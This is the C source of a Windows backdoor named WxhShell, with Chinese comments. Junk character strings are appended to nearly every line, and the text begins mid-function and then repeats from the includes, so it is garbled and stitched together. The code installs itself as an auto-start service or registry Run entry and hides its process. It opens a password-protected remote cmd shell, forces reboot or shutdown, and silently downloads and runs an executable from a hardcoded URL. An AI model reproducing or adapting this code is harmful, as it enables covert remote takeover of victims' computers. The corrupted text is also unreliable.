    closesocket(wsh); 6 2r%q^r`i  
    ExitThread(0); QX'/PO  
    } .^S#h (A  
    break; 3%<xM/#  
    } JYB<};,  
  // 关机 vH+QI  
  case 'd': { 6 ztM(2[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <Vk^fV  
    if(Boot(SHUTDOWN)) T&=1IoOg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fr%}|7  
    else { Z\d7dbv  
    closesocket(wsh); MhZT<6  
    ExitThread(0); Ncu\;K\N  
    } 0 ej!!WP  
    break; 6XO%l0dC.  
    } YoKY&i6r}  
  // 获取shell S/|'ggC  
  case 's': { X#mppMU  
    CmdShell(wsh); d aIt `}s  
    closesocket(wsh); lk6*?EJ  
    ExitThread(0); SPxgIP;IR  
    break; F.b;O :  
  } sSC yjS'T  
  // 退出 c"3 a,&  
  case 'x': { ui,#AZQ#{4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [*O#6Xu  
    CloseIt(wsh); Kd _tjWS  
    break; {<a(1#{  
    } !'No5  
  // 离开 &LO<!WKQ  
  case 'q': { (ROurq"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |:s 4#3  
    closesocket(wsh); A`4j=OF\  
    WSACleanup(); sV/#P<9  
    exit(1); 42?X)n>  
    break; Pgs^#(^>  
        } O>z M(I+p  
  } 95,y@~ *]  
  } >`a)gky%~  
2bS)|#v<_t  
  // 提示信息 fo$iV;x`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,o}!pQ  
} fMn7E8.  
  } h*f=  
-bK#&o,  
  return; h:3`e`J<h  
} HPAd@5d(  
vIrLG1EK  
// shell模块句柄 C G~ )`  
int CmdShell(SOCKET sock) /I3#WUc;![  
{ MC!K7ji  
STARTUPINFO si; 4Wq{ch  
ZeroMemory(&si,sizeof(si)); iq '3.-xYr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  '._8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yz0ruhEMk  
PROCESS_INFORMATION ProcessInfo; mfO:#]K  
char cmdline[]="cmd"; zm}4=Kz}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &_ Ewu@4  
  return 0; Dcq\1V.e`W  
} BW}^n  
M=$y_9#  
// 自身启动模式 Cd.pMoS  
int StartFromService(void) O^I~d{M 5I  
{ ,qak_bP  
typedef struct &E$jAqc  
{ d{@X-4k :  
  DWORD ExitStatus; ` !HGM>  
  DWORD PebBaseAddress; LMWcF'l  
  DWORD AffinityMask; 9}Tf9>qP>M  
  DWORD BasePriority; '2a}1?  
  ULONG UniqueProcessId; o_p//S#q  
  ULONG InheritedFromUniqueProcessId; 12aAO|]/~  
}   PROCESS_BASIC_INFORMATION; >~I~!i3  
4^VY  
PROCNTQSIP NtQueryInformationProcess; F8?&Ql/hdz  
gEtD qq~y@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "xlf6pm%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uAR!JJ  
!m rB+<:  
  HANDLE             hProcess; ~wIVw}  
  PROCESS_BASIC_INFORMATION pbi; ehI*cf({  
Qw.""MLmN8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dRyK'Xr  
  if(NULL == hInst ) return 0; 0O?B!Jr]RM  
X&h4A4#P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &"fMiK3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b#R3=TQS8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WS@b3zzN  
GwV2`2  
  if (!NtQueryInformationProcess) return 0; n 8Jx;j  
bp:WN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j|9;") 1  
  if(!hProcess) return 0; "?V4Tl~uu  
V^=z\wBZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ts3%cRN r  
5UR$Pn2a2  
  CloseHandle(hProcess); JQ'NFl9<  
dfGdY"&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZPn`.Qc  
if(hProcess==NULL) return 0; EkM?Rs  
q(e&{pbM)  
HMODULE hMod; C<2vuZD  
char procName[255]; X^#48*"a  
unsigned long cbNeeded; R>Fie5?  
@"-<m|lM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %xf6U>T  
oJR0sbikP  
  CloseHandle(hProcess); }8p;w T!  
BD[XP`[{  
if(strstr(procName,"services")) return 1; // 以服务启动 xA#B1qbw  
4hg]/X"H#  
  return 0; // 注册表启动 (1%u`#5n-N  
} /sH3Rk.>  
!zwn Fdp  
// 主模块 ~N;.hU%l  
int StartWxhshell(LPSTR lpCmdLine) TS)p2#  
{ 07Yh  
  SOCKET wsl; |]HU$Gt S  
BOOL val=TRUE; |:`f#H  
  int port=0; BKIAc6  
  struct sockaddr_in door; gAC}  
!E,$@mvd  
  if(wscfg.ws_autoins) Install(); B cd6 ~  
g1JD8~a  
port=atoi(lpCmdLine); NTuS(7m  
bS<lB!  
if(port<=0) port=wscfg.ws_port; \f1r/e(G|  
#tKc!]m  
  WSADATA data; 0K`3BuBs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @3c5"  
]nhLv!Co  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "wmQ,=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -7*,}xV  
  door.sin_family = AF_INET; nZhL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GptJQ=pV  
  door.sin_port = htons(port); [#kfl  
"2)<'4q5)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RtGETiA\b  
closesocket(wsl); 'N)&;ADx-G  
return 1; cfMj^*I  
} z9U<Z^4z+  
Vc$x?=  
  if(listen(wsl,2) == INVALID_SOCKET) { _+N*4  
closesocket(wsl); ,Ww)>O+  
return 1; nM34zVy  
} OljUK,I]  
  Wxhshell(wsl); Xz4!#,z/  
  WSACleanup(); W*e6F?G  
ooref orr  
return 0; U")~bU  
Aga2 I#1r  
} K_bF)6"  
~;QO`I=0P  
// 以NT服务方式启动 PQ<""_S||  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1mgLH  
{ E< "aUnI  
DWORD   status = 0; k'&BAC.K,  
  DWORD   specificError = 0xfffffff; rXuhd [!(P  
vr/V_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )\l}i%L:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $SRpFz5y$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ] NL-)8u  
  serviceStatus.dwWin32ExitCode     = 0; GN?^7kI  
  serviceStatus.dwServiceSpecificExitCode = 0; vXLiYWo  
  serviceStatus.dwCheckPoint       = 0; 63QMv[`,  
  serviceStatus.dwWaitHint       = 0; v#@"Evh7  
T|Sz~nO}f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uc>kCBCd  
  if (hServiceStatusHandle==0) return; wAkpk&R  
g+t-<D"L5  
status = GetLastError(); ]C3{ _?=  
  if (status!=NO_ERROR) Yw"o_  
{ }L>}_NV\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @X?DHLM  
    serviceStatus.dwCheckPoint       = 0; OGh9^,v  
    serviceStatus.dwWaitHint       = 0; eZIqyw  
    serviceStatus.dwWin32ExitCode     = status; 3h aYb`  
    serviceStatus.dwServiceSpecificExitCode = specificError; W~aVwO'(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^]( sCE7  
    return; Zk__CgS#  
  } /T]2ZX>  
d^mw&F)S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /@X!  
  serviceStatus.dwCheckPoint       = 0;  U2  
  serviceStatus.dwWaitHint       = 0; 5'd$TC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t,M _  
} *BH*   
X#'DS&{  
// 处理NT服务事件,比如:启动、停止 L/_h5Q:'W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [-_3Zr  
{ IP7j)SM!  
switch(fdwControl) qc2j}D0  
{ sI7d?+  
case SERVICE_CONTROL_STOP: vm"LPwSk>  
  serviceStatus.dwWin32ExitCode = 0; z6]dF"N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >0Y >T6!  
  serviceStatus.dwCheckPoint   = 0; s]50Y-C  
  serviceStatus.dwWaitHint     = 0; -;20|US)u  
  { ? [l[y$9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .LhIB?  
  } u)Y~+ [Q  
  return; O`Er*-O  
case SERVICE_CONTROL_PAUSE: :f G5?])  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U<gM gA  
  break; @)1>ba  
case SERVICE_CONTROL_CONTINUE: 4='Xhm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t'|A0r$  
  break; &l"/G%W  
case SERVICE_CONTROL_INTERROGATE: jzI70+E  
  break; >!848J  
}; Ck d@|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7DDd 1"jE  
} ?;zu>4f|  
a\>+!Vq  
// 标准应用程序主函数 GPz0qK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _v bCC7Bf8  
{ Y<-h#_  
>lQ@" U  
// 获取操作系统版本 c[J?`8  
OsIsNt=GetOsVer(); gI "ZhYI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0^$L{V  
c.dk4v%Y5  
  // 从命令行安装 :7UC=GKQk  
  if(strpbrk(lpCmdLine,"iI")) Install(); \@;$xdA$  
\(2w/~  
  // 下载执行文件 (hNTr(z  
if(wscfg.ws_downexe) { `qnp   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y[)b".K  
  WinExec(wscfg.ws_filenam,SW_HIDE); e+6mbJ7y  
} pFgpAxl  
qmqWMLfC  
if(!OsIsNt) { 5xC4lT/U  
// 如果时win9x,隐藏进程并且设置为注册表启动 s!,m,l[P  
HideProc(); CX?q%o2b  
StartWxhshell(lpCmdLine); /4/'&tY  
} .Ds d Q4Y  
else 1/+d@s#t  
  if(StartFromService()) 3.+TM]RYN  
  // 以服务方式启动 k#F |  
  StartServiceCtrlDispatcher(DispatchTable); s|F}Abx,^  
else /Cy4]1dw  
  // 普通方式启动 mSLA4[4{  
  StartWxhshell(lpCmdLine); B|pO2d e  
5;'(^z-bL  
return 0; VzfaUAIZl  
} h ` qlI1]  
\c}_!.xj"  
N8x[8Rp  
<}75Xo  
=========================================== xfoQx_]$Im  
p 4_j>JPv5  
~MWI-oK  
#lAC:>s3U  
uN>JX/-  
oCfO:7  
" GT.1,E ,Vw  
T5nBvSVv'  
#include <stdio.h> 9gq+,g>E_  
#include <string.h> J,4,#2M8  
#include <windows.h> [wU e"{  
#include <winsock2.h> /T _{k.  
#include <winsvc.h> L$L/5/  
#include <urlmon.h> yPY}b_W  
`eZzYe(N  
#pragma comment (lib, "Ws2_32.lib") Y TpiOPf  
#pragma comment (lib, "urlmon.lib") PAng(tubl  
8tfM,.]_i  
#define MAX_USER   100 // 最大客户端连接数 &O +?#3  
#define BUF_SOCK   200 // sock buffer OQW%nF9~  
#define KEY_BUFF   255 // 输入 buffer Kzwbr?&z  
"DaE(S&  
#define REBOOT     0   // 重启 "&Hr)yyWG  
#define SHUTDOWN   1   // 关机 a-e_q  
"I)/|x\G*  
#define DEF_PORT   5000 // 监听端口 u7&q(Z&&O  
+YZ*>ki  
#define REG_LEN     16   // 注册表键长度 F m?j-'  
#define SVC_LEN     80   // NT服务名长度 yY[9\!  
q QcQnd2K  
// 从dll定义API mR["xDHD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^'9.VVyz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4)"S /u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dG&^M ".(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >{6U1ft):  
~c,CngeL0  
// wxhshell配置信息 nuKcq!L  
struct WSCFG { "@z X{^:  
  int ws_port;         // 监听端口 Emy=q5ryl  
  char ws_passstr[REG_LEN]; // 口令 &F- \t5X=i  
  int ws_autoins;       // 安装标记, 1=yes 0=no QPX&P{!g  
  char ws_regname[REG_LEN]; // 注册表键名 cwuzi;f  
  char ws_svcname[REG_LEN]; // 服务名 >``sM=Wat  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )ifjK6*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :FTx#cZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XHU\;TF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qy ghNImp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (}g4}A@x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GY>G}bfh  
O&dBLh!G  
}; {FQ@eeU  
@E 8P>kq  
// default Wxhshell configuration {N3&JL5\"E  
struct WSCFG wscfg={DEF_PORT, g.Tc>?~  
    "xuhuanlingzhe", (Bq^ D9  
    1, l1bkhA b  
    "Wxhshell", 3 Fb9\2<H  
    "Wxhshell", \sBXS.  
            "WxhShell Service", X[<%T}s#  
    "Wrsky Windows CmdShell Service", ho-#Xbq#g  
    "Please Input Your Password: ", /KLkrW  
  1, z$gtGrU  
  "http://www.wrsky.com/wxhshell.exe", kmUL^vF  
  "Wxhshell.exe" r<$o [,W  
    }; 4#CHX^De  
>.M>,m\  
// 消息定义模块 y2W|,=Vd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vwu dNjL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5?MaKNm}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6ao~f?JZ  
char *msg_ws_ext="\n\rExit."; aFaioE#h(  
char *msg_ws_end="\n\rQuit."; xa.tH)R  
char *msg_ws_boot="\n\rReboot..."; yk y% +@2q  
char *msg_ws_poff="\n\rShutdown..."; lD^c_b  
char *msg_ws_down="\n\rSave to "; 0G31Kou  
&szYa-K*  
char *msg_ws_err="\n\rErr!"; V408u y-M  
char *msg_ws_ok="\n\rOK!"; 7u{V1_ n1  
^Q6?T(%$  
char ExeFile[MAX_PATH]; b)@D@K"5  
int nUser = 0; Lqdapx"Z_  
HANDLE handles[MAX_USER]; }DQTy.d;P  
int OsIsNt; 78 w  
U9ZuD40\  
SERVICE_STATUS       serviceStatus; Eug RC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tr5j<O  
SRtw  
// 函数声明 k".kbwcaF  
int Install(void); uNkJe  
int Uninstall(void); c]h@<wnv  
int DownloadFile(char *sURL, SOCKET wsh); 0SfW:3  
int Boot(int flag); nY7gST  
void HideProc(void); &wAVO_s  
int GetOsVer(void); Kt](|  
int Wxhshell(SOCKET wsl); d~AL4~}  
void TalkWithClient(void *cs); ^U5Qb"hz  
int CmdShell(SOCKET sock); "~=-Q#xO  
int StartFromService(void); Nm !~h|3  
int StartWxhshell(LPSTR lpCmdLine); RIQ-mpg~(k  
[GPCd@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y XKddD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s`ZP2"`f  
$*VZa3B\  
// 数据结构和表定义 MVnN0K4  
SERVICE_TABLE_ENTRY DispatchTable[] = > 23$_'2  
{ *|<T@BXn  
{wscfg.ws_svcname, NTServiceMain}, r<'DS9m  
{NULL, NULL} #}Yrxf  
}; -#v1/L/=  
x3g4r_  
// 自我安装 c<,LE@ V  
int Install(void) %&_^I*  
{ !zvjgDlZv  
  char svExeFile[MAX_PATH]; re_nb)4g  
  HKEY key; .uVd'  
  strcpy(svExeFile,ExeFile); 6I: 6+n  
,jEc4ih4  
// 如果是win9x系统,修改注册表设为自启动 O/|))H?C  
if(!OsIsNt) { U(0FL6sPC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d#TA20`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K-~gIlbQ`  
  RegCloseKey(key); Ml$<x"Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7nNNc[d*=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CIz0Gjtx6m  
  RegCloseKey(key); Q^ZM|(s#  
  return 0; ]Zt]wnL+  
    } F)KR8 (  
  } I 1n,c d[  
} (BFwE@1"  
else { ^D5Jqh)  
pmUf*u-  
// 如果是NT以上系统,安装为系统服务 YGC%j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =Q{?!  
if (schSCManager!=0) VP>*J`'H  
{ [zBi*%5O  
  SC_HANDLE schService = CreateService O^3kPVr  
  ( [al$sCD]+  
  schSCManager, (:qc[,m  
  wscfg.ws_svcname, r88De=*  
  wscfg.ws_svcdisp, `<yQ`Y_X  
  SERVICE_ALL_ACCESS, I ^m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ax>j3HKi  
  SERVICE_AUTO_START, 5wmd[YL  
  SERVICE_ERROR_NORMAL, #GLW3}  
  svExeFile, ,% Qh S5e  
  NULL, t[J=8rhER  
  NULL, oz>2P.7  
  NULL, Q&N#q53  
  NULL, $%q=tn'EX  
  NULL nX 9]dz  
  ); (5 @H  
  if (schService!=0) ;xe.0j0h  
  { w6Nn x5Ay  
  CloseServiceHandle(schService); SF&2a(~s  
  CloseServiceHandle(schSCManager); 5e$1KN`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JC%&d1  
  strcat(svExeFile,wscfg.ws_svcname); 4MS#`E7LrC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s :7/\h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h Fik>B#!  
  RegCloseKey(key); Hc =QSP  
  return 0; ghWWJx9  
    } %2T i Rb  
  } Bp_R"DS7A  
  CloseServiceHandle(schSCManager); 7]xDMu'^&f  
} R?O)v Lmd  
} 6IG?t  
B Z|A&;  
return 1; &G\mcstX  
} y0sce  
,#UZp\zZ*  
// 自我卸载 ' {UKO7   
int Uninstall(void) \$ipnQv  
{ 5\MC5us3  
  HKEY key; #'q7 x  
O`c50yY  
if(!OsIsNt) { Hl0" zS[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =K18|Q0m  
  RegDeleteValue(key,wscfg.ws_regname); E{&MmrlL,  
  RegCloseKey(key); .a]#AFX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5K ;E*s,  
  RegDeleteValue(key,wscfg.ws_regname); +ZM,E8  
  RegCloseKey(key); I7oA7@zv  
  return 0; ?}Zt&(#  
  } ,JE_aje7  
} X8Q'*  
} LXK!4(xaW  
else { 8s$6R|ti  
!Fp %2gt|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /T)E&=Ds  
if (schSCManager!=0) /7 Tm2Vj8  
{ PQkw)D<n]_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); az6 &  
  if (schService!=0) Zt!A!Afu  
  { Os@b8V 8,A  
  if(DeleteService(schService)!=0) { Fs(PVN  
  CloseServiceHandle(schService); nf/?7~3?[  
  CloseServiceHandle(schSCManager); b/'c h  
  return 0; Mg.%&vH\  
  } N! 7}B  
  CloseServiceHandle(schService); = 'NV3by  
  } hr}f5Z)^v  
  CloseServiceHandle(schSCManager); ^;RK-)  
} 80*hi)ux[  
} b& +zAt.  
Gv &G2^  
return 1; w!7ApEH1  
} @|SeabN^-  
(c(F1=K  
// 从指定url下载文件 ZpVkgX4  
int DownloadFile(char *sURL, SOCKET wsh) rk W7;!  
{ 5, 1<A@H  
  HRESULT hr; 0cq@lT6  
char seps[]= "/"; .how@>:P+  
char *token; A/>Q5)  
char *file; (QiA5!wg  
char myURL[MAX_PATH]; +gX,r$bX  
char myFILE[MAX_PATH]; d fj23+  
n"Ie>  
strcpy(myURL,sURL); +:.Jl:fx4  
  token=strtok(myURL,seps); =EP`,zqn$9  
  while(token!=NULL) 985F(r  
  { HE,L8S  
    file=token; K:a8}w>Up  
  token=strtok(NULL,seps); m!/TJhiQ  
  } 2bNOn%!  
dT|f<E/P  
GetCurrentDirectory(MAX_PATH,myFILE); TlS? S+  
strcat(myFILE, "\\"); B-Jd|UE`u  
strcat(myFILE, file); sgp.;h'  
  send(wsh,myFILE,strlen(myFILE),0); = ^NvUrK  
send(wsh,"...",3,0); bV8+E u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B`B =bn+4  
  if(hr==S_OK) XMuZ}u[U  
return 0; hy*{ {f;  
else etr-\Cp  
return 1; b# N"} -\^  
jmID@37t  
} X_TjJmc  
0SIC=p=J  
// 系统电源模块 2!^=G=H/  
int Boot(int flag) ! I@w3`  
{ KS$t  
  HANDLE hToken; _6NUtU  
  TOKEN_PRIVILEGES tkp; *p}mn#ru-  
gF{ehU%  
  if(OsIsNt) { v|%41xOsr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q H}8TC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lGd'_~'=  
    tkp.PrivilegeCount = 1; 1MLL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D~6[C:m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JN0h3nZ_  
if(flag==REBOOT) { + Q-b}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tK%ie\  
  return 0; N)X Tmh2v|  
} '47 b"uV  
else { !g|O.mt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b/'bhE=  
  return 0; UX)GA[WI  
} :jiuu@<  
  } kv:9Fm\$  
  else { ,n/]ALz>~  
if(flag==REBOOT) {  ,&hv x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V.GM$  
  return 0; !=dz^f.{  
} 1B~O!']N<  
else { >v:ex(y0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ra$:ibLN  
  return 0; PJ.\ )oP  
} E]@&<TFq  
} +F; 2FD$  
(;l@d|g  
return 1; #rlgeHG!fs  
} +0pI}a\  
E\[BE<y  
// win9x进程隐藏模块 3oCI1>k  
void HideProc(void) o1.~g'!^  
{ 4D?h}U /  
g3tE.!a5-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o<Zlm)"%1  
  if ( hKernel != NULL ) | &X<-  
  { 3V k8'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U]3!"+Y1P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hd)Jq'MCS  
    FreeLibrary(hKernel); L/8oqO|  
  } }'oU/@yG  
X1^VdJE  
return; TA[%eMvA  
} cJ4My#w  
cJo%j -AM  
// 获取操作系统版本 \O|SPhaIf  
int GetOsVer(void) 7Jn%XxHq  
{ B.8B1MFm  
  OSVERSIONINFO winfo; 6 4_}"fU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V?{d<Ng~J  
  GetVersionEx(&winfo); rqamBm 5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q0xO;20  
  return 1; ]Ur/DRNS  
  else [b++bCH3  
  return 0; |qNe_)  
} fs! dI  
l~r;G rd/5  
// 客户端句柄模块  FOiwA.:0  
int Wxhshell(SOCKET wsl) qOo4T@ t3  
{ % N8I'*u  
  SOCKET wsh; f8Hq&_Pn   
  struct sockaddr_in client; ReaZg ?:h  
  DWORD myID; z=D5*  
6FB 0g8  
  while(nUser<MAX_USER) *rq*li;  
{ o*KAS@&  
  int nSize=sizeof(client); !M~:#k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a~_ 9BM41T  
  if(wsh==INVALID_SOCKET) return 1; 8+'}`  
[DaAvN^0A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q0J1"*P0  
if(handles[nUser]==0) kF|$oBQ  
  closesocket(wsh); m%|\AZBA#  
else z9o]);dZ  
  nUser++; >dAl*T  
  } IK -vcG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S@qPf0dL<  
K"!rj.Da  
  return 0; &f.5:u%{b  
} F-;JN  
O/~T+T%  
// 关闭 socket DsdM:u*s  
void CloseIt(SOCKET wsh) fQoAdw  
{ V;SfW2`)  
closesocket(wsh); l#0zHBc  
nUser--; !:+U-mb*  
ExitThread(0); tV++QC7@L  
} k \OZ'dS  
xg p)G!  
// 客户端请求句柄 [+[ W\6  
void TalkWithClient(void *cs) y_WC"  
{ Oc)n,D)0  
ufL,K q4  
  SOCKET wsh=(SOCKET)cs; g#I`P&  
  char pwd[SVC_LEN]; ;j0.#P:a  
  char cmd[KEY_BUFF];  Q6 *n'6  
char chr[1]; 48xgl1R(j  
int i,j; 7'wpPXdY1  
 4!!|P  
  while (nUser < MAX_USER) { c&D+=   
<exCK*G  
if(wscfg.ws_passstr) { voZaJ2ho/O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k=)U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IogLkhWX  
  //ZeroMemory(pwd,KEY_BUFF); C >OeULD  
      i=0;  <$nPGz)}  
  while(i<SVC_LEN) { Q=Q+*oog  
+k=*AQt^8  
  // 设置超时 8r( Vz  
  fd_set FdRead; lO@-*m$  
  struct timeval TimeOut; qZ<n\Mt  
  FD_ZERO(&FdRead); (u?s@/e:`/  
  FD_SET(wsh,&FdRead); 5H._Q  
  TimeOut.tv_sec=8; u$w.'lK  
  TimeOut.tv_usec=0; @5Z|e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {V[xBL <  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |]kiH^Ap  
W 8<QgpV*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,.Gp_BI  
  pwd=chr[0]; lg|6~=aQ  
  if(chr[0]==0xd || chr[0]==0xa) { h#zm+([B*  
  pwd=0; i}T* | P  
  break; as:=QMV  
  } ei2?H;H;  
  i++; DS8HSSD  
    } 2?,l r2  
2 Wcu.  
  // 如果是非法用户,关闭 socket r,eH7&P9{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q;SD+%tI  
} t_/qd9Jv  
o9sQ!gptw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wo9R :kQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3r%v@8)!b  
9No6\{[M  
while(1) { 6F^/k,(k4  
l"8g9z  
  ZeroMemory(cmd,KEY_BUFF); 8 8u[s@  
QmBHD;Gf  
      // 自动支持客户端 telnet标准   #|\|G3Si %  
  j=0; WGV]O|  
  while(j<KEY_BUFF) { >uCO=T,|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PCCE+wC6  
  cmd[j]=chr[0]; X}B] 5  
  if(chr[0]==0xa || chr[0]==0xd) { @.e4~qz\  
  cmd[j]=0; 42 `Uq[5Y  
  break; iu{y.}?  
  } @G& oUhS  
  j++; GUQ3XF\  
    } ]`-o\,lq  
jzi%[c<G  
  // 下载文件 *r>Y]VG;S  
  if(strstr(cmd,"http://")) { ;$eY#ypx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bP:u`!p -i  
  if(DownloadFile(cmd,wsh)) q4:zr   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4XjABJ4'  
  else ~U<j_j)z4.  
